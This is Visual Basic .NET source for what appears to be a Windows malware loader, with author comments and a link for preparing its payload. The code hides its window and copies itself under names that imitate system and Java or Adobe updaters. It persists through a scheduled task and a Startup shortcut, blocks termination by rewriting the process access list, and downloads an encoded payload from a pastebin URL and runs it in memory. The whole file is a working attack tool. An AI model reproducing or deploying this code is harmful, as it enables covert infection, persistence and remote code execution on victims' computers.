Server_20_02_2017

Imports System.IO
Imports System.Net
Imports System.Text
Imports System.ComponentModel
Imports System.Security.AccessControl
Imports System.Security.Principal
Imports System.Runtime.InteropServices
'
'if you are not me(leo) or red you can stole the codes !!!
'skype > el30n4d0
'https://www.youtube.com/watch?v=j6V6tNP8nd0&t=1s to get the strings to paste into pastebin

Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        On Error Resume Next
        Me.Visible = False
        Me.Opacity = 0
        Me.ShowIcon = False
    '

        Me.ShowInTaskbar = False
        Me.Hide()
        '###############################
        Dim path As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
        Dim path2 As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\Java Updater.exe"
        Dim dwm As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\dwm.exe"
        Dim dwm2 As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\"
        If IO.File.Exists(dwm) = True Then
        Else
            Dim aFile As String = Application.ExecutablePath
            Dim Split() As String = aFile.Split("/")
            Dim Filename As String = "dwm.exe"
            System.IO.File.Copy(aFile, dwm2 & "/" & Filename)
            Shell("schtasks /Create /SC minute /MO 20 /TN AdobeUpdater /TR " & Application.ExecutablePath, AppWinStyle.Hide)
        End If
        '################################
        If IO.File.Exists(path2) = True Then
        Else
            Dim aFile As String = Application.ExecutablePath
            Dim Split() As String = aFile.Split("/")
            Dim Filename As String = "Java Updater.exe"
            System.IO.File.Copy(aFile, path & "/" & Filename)

            CreateShortCut(Application.ExecutablePath, path, "WindowsSystemUpdate")
        End If
        '############################
        IO.File.SetAttributes(Application.ExecutablePath, IO.FileAttributes.Hidden + IO.FileAttributes.System)

        Dim c_NewAntiKill As New c_AntiKill
        c_NewAntiKill.c_ImAntiKill()
        '##################################################################333
        qwjdasiodjoqwjoasdijoasidijoasdjioaisodijoasdjiojaiosda()



    End Sub
    Private Function CreateShortCut(ByVal TargetName As String, ByVal ShortCutPath As String, ByVal ShortCutName As String) As Boolean
        Dim oShell As Object
        Dim oLink As Object
        Try

            oShell = CreateObject("WScript.Shell")
            oLink = oShell.CreateShortcut(ShortCutPath & "\" & ShortCutName & ".lnk")
            '  oShell.iconLocation = "%SystemRoot%\system32\SheLL32.dll,8"
            oLink.iconLocation = "%SystemRoot%\system32\SheLL32.dll,12"
            oLink.TargetPath = TargetName
            oLink.WindowStyle = 1
            oLink.Save()
        Catch ex As Exception

        End Try

    End Function
    Public Shared Function rere() As String
        Dim red0 As String = "--nlo**%%%%%%%%%ring".Replace("--", "Dow").Replace("**", "adS").Replace("%%%%%%%%%", "t")
        Dim red3 As WebClient = New WebClient()
        red3.Encoding = Encoding.UTF8
        Dim red5 As Object = Interaction.CallByName(red3, red0, CallType.Method, "http://pastebin.com/raw/vqm8yhwm")
'######################################################################################^^^^^^^^^^ Server link
        Return red5

    End Function
    Function qwjdasiodjoqwjoasdijoasidijoasdjioaisodijoasdjiojaiosda()
        AppDomain.CurrentDomain.Load(Decrypt(rere.ToString)).EntryPoint.Invoke(Nothing, Nothing)
    End Function

    Public Shared Function Decrypt(ByVal proj As String) As Byte()

        Dim decryptedbye As New List(Of Byte)

        For Each reer As Char In proj

            decryptedbye.Add(AscW(reer) - 200)

        Next

        Return decryptedbye.ToArray

    End Function
    Public Class c_AntiKill
        <DllImport("advapi32.dll", SetLastError:=True)> _
        Shared Function GetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer, <Out> pSecurityDescriptor As Byte(), nLength As UInteger, ByRef lpnLengthNeeded As UInteger) As Boolean
        End Function
        <DllImport("advapi32.dll", SetLastError:=True)> _
        Shared Function SetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer, <[In]> pSecurityDescriptor As Byte()) As Boolean
        End Function
        <DllImport("kernel32.dll")> _
        Shared Function GetCurrentProcess() As IntPtr
        End Function
        Protected Function GetProcessSecurityDescriptor(processHandle As IntPtr) As RawSecurityDescriptor
            Dim psd() As Byte = New Byte(1) {}
            Dim bufSizeNeeded As UInteger
            GetKernelObjectSecurity(processHandle, &H4, psd, 0, bufSizeNeeded)
            psd = New Byte(bufSizeNeeded) {}
            If bufSizeNeeded < 0 OrElse bufSizeNeeded > Short.MaxValue Then
                Throw New Win32Exception()
            End If
            If Not GetKernelObjectSecurity(processHandle, &H4, psd, bufSizeNeeded, bufSizeNeeded) Then
                Throw New Win32Exception()
            End If
            Return New RawSecurityDescriptor(psd, 0)
        End Function
        Protected Sub SetProcessSecurityDescriptor(processHandle As IntPtr, dacl As RawSecurityDescriptor)
            Dim rawsd As Byte() = New Byte(dacl.BinaryLength - 1) {}
            dacl.GetBinaryForm(rawsd, 0)
            If Not SetKernelObjectSecurity(processHandle, &H4, rawsd) Then
                Throw New Win32Exception()
            End If
        End Sub
        Public Sub c_ImAntiKill()
            Dim hProcess As IntPtr = GetCurrentProcess()
            Dim dacl = GetProcessSecurityDescriptor(hProcess)
            dacl.DiscretionaryAcl.InsertAce(0, New CommonAce(AceFlags.None, AceQualifier.AccessDenied, CInt(&HF0000 Or &H100000 Or &HFFF), New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing), False, Nothing))
            SetProcessSecurityDescriptor(hProcess, dacl)
        End Sub
    End Class

    Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles MyBase.FormClosed
        On Error Resume Next
        Dim dwm As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\dwm.exe"
        Dim dwm2 As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\"
        If IO.File.Exists(dwm) = True Then
        Else
            Dim aFile As String = Application.ExecutablePath
            Dim Split() As String = aFile.Split("/")
            Dim Filename As String = "dwm.exe"
            System.IO.File.Copy(aFile, dwm2 & "/" & Filename)
            '   Shell("schtasks /Create /SC minute /MO 20 /TN AdobeUpdater /TR " & Application.ExecutablePath, AppWinStyle.Hide)
        End If
        Application.Restart()
    End Sub
End Class